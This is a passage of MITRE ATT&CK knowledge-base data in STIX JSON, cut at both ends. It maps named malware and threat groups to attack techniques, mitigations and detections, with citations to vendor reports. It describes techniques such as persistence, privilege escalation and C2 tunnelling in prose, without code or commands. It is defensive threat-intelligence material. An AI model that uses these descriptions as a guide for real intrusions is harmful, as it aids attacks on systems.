Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:13:17.410Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can use a stream cipher to decrypt stings used by the malware.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ba32510-89b8-4bba-8680-06602923e13e","type":"relationship","created":"2020-03-19T19:09:30.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal","description":"Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.","source_name":"Microsoft ETW May 2018"}],"modified":"2021-01-13T15:56:05.130Z","description":"Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ba66b71-d1a1-4826-bebe-db0861583e6c","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ba68c4c-2ac8-4046-bcac-8a7e81e1bdcf","type":"relationship","created":"2020-05-27T20:25:33.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T13:27:38.702Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to use HTTP in communication with C2.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bad7b38-36b5-4208-9895-e4a113c511a3","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"}],"modified":"2020-03-16T20:05:43.371Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012)'s selective infector modifies executables stored on removable media as a method of spreading across computers.(Citation: Kaspersky Darkhotel)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5baffc71-6b6f-4a8c-ae95-1aa003e6c73f","created":"2024-09-04T20:41:49.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T20:42:31.299Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can deploy a vulnerable, signed driver on a compromised host to bypass operating system safeguards.(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bb51393-199c-48a1-b1fd-7f851fee0562","created":"2023-03-22T22:14:17.599Z","revoked":false,"external_references":[{"source_name":"Microsoft Targeting Elections September 2020","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:14:17.599Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used web beacons in e-mails to track hits to attacker-controlled URL's.(Citation: Microsoft Targeting Elections September 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Playbook Dec 2017","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","url":"https://pan-unit42.github.io/playbook_viewer/"}],"modified":"2020-03-16T16:55:39.521Z","description":"[Helminth](https://attack.mitre.org/software/S0170) has used [Tasklist](https://attack.mitre.org/software/S0057) to get information on processes.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bb90c4f-b260-4de2-8312-8de73df3fead","type":"relationship","created":"2021-10-14T15:12:18.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.077Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has been disguised as legitimate programs, such as Java and Telegram Messenger.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.467Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bbbd951-0c4a-4293-b0a8-27751b953882","type":"relationship","created":"2020-05-19T17:32:26.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-05-20T14:05:11.768Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to use form-grabbing to extract data from web data forms.(Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bbe7733-4e20-4ee1-a29c-b8e7111781dd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.265Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) uses reg add to add a Registry Run key for persistence.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bbeba86-0f26-4c02-9c66-8118ad6c0208","type":"relationship","created":"2019-03-18T14:05:57.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:59:52.927Z","description":"(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bc091f3-0059-4eab-ab68-5e4474108fdf","type":"relationship","created":"2020-11-24T21:27:52.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:27:52.657Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used malicious links to direct users to web pages designed to harvest credentials.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bc09eae-6b6c-4dd3-9e27-a2f26f0a6468","created":"2022-08-22T14:35:24.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:31:39.736Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use asynchronous procedure call (APC) injection to execute commands received from C2.(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5bc4476e-9693-424c-b4d1-fd3a9ca996f3","created":"2022-04-14T13:19:07.935Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) has embedded an ISO file within an HTML attachment that contained JavaScript code to initiate malware execution.(Citation: ESET T3 Threat Report 2021) ","modified":"2022-04-14T13:19:07.935Z","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bc68652-1d99-4782-80bd-086fc7f8358c","type":"relationship","created":"2020-10-14T00:44:35.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-14T00:44:35.219Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing hyperlinks to malicious files.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bc845de-8364-46ae-b8c2-ca78e9601fdf","created":"2024-07-25T20:31:46.853Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:31:46.853Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for collecting files from local systems based on a given set of properties and filenames.(Citation: ESET EvasivePanda 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bceaa15-bfcf-464f-a3d3-030d389080b5","created":"2022-04-07T16:58:36.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Warzone Feb 2020","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021.","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:03:14.517Z","description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can masquerade the Process Environment Block on a compromised host to hide its attempts to elevate privileges through `IFileOperation`.(Citation: Check Point Warzone Feb 2020)","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bcec016-2150-4c45-9e9b-228838c9e843","type":"relationship","created":"2020-12-29T22:21:11.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}],"modified":"2020-12-29T22:21:11.405Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used the Windows API to make detection more difficult.(Citation: Cyble Egregor Oct 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bd21716-220c-4135-b7f5-3f6fb2c11ccb","created":"2024-09-18T18:29:09.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:00:55.200Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to delete itself.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)\n","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bd3526a-1ae2-4b09-8be7-0eef6ae33155","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.747Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used exploits to increase their levels of rights and privileges.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bd58ef1-ad36-47ac-91e5-4e7df618dd87","created":"2022-01-11T16:36:29.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.992Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can add a service named wind0ws to the Registry to achieve persistence after reboot.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bd670ae-aee6-4e48-a250-1d13f660054a","created":"2023-03-28T20:37:03.823Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:37:03.823Z","description":"Monitor for API calls (such as `EnumDeviceDrivers()`) that may attempt to gather information about local device drivers.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bd757cd-ec5b-46f9-8ddf-05673370e494","created":"2024-04-17T15:18:31.130Z","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:18:31.130Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) proxied C2 communications within a TLS-based tunnel.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bd827b4-cdaf-4d50-acb8-493f32d51acb","created":"2020-05-14T22:29:26.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:20:07.012Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can detect the computer name, operating system, and drive information, including drive type, total number of bytes on disk, total number of free bytes on disk, and name of a specified volume.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bda4ebe-cd21-469e-9495-952df7254f17","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.316Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victim networks.(Citation: Mandiant No Easy 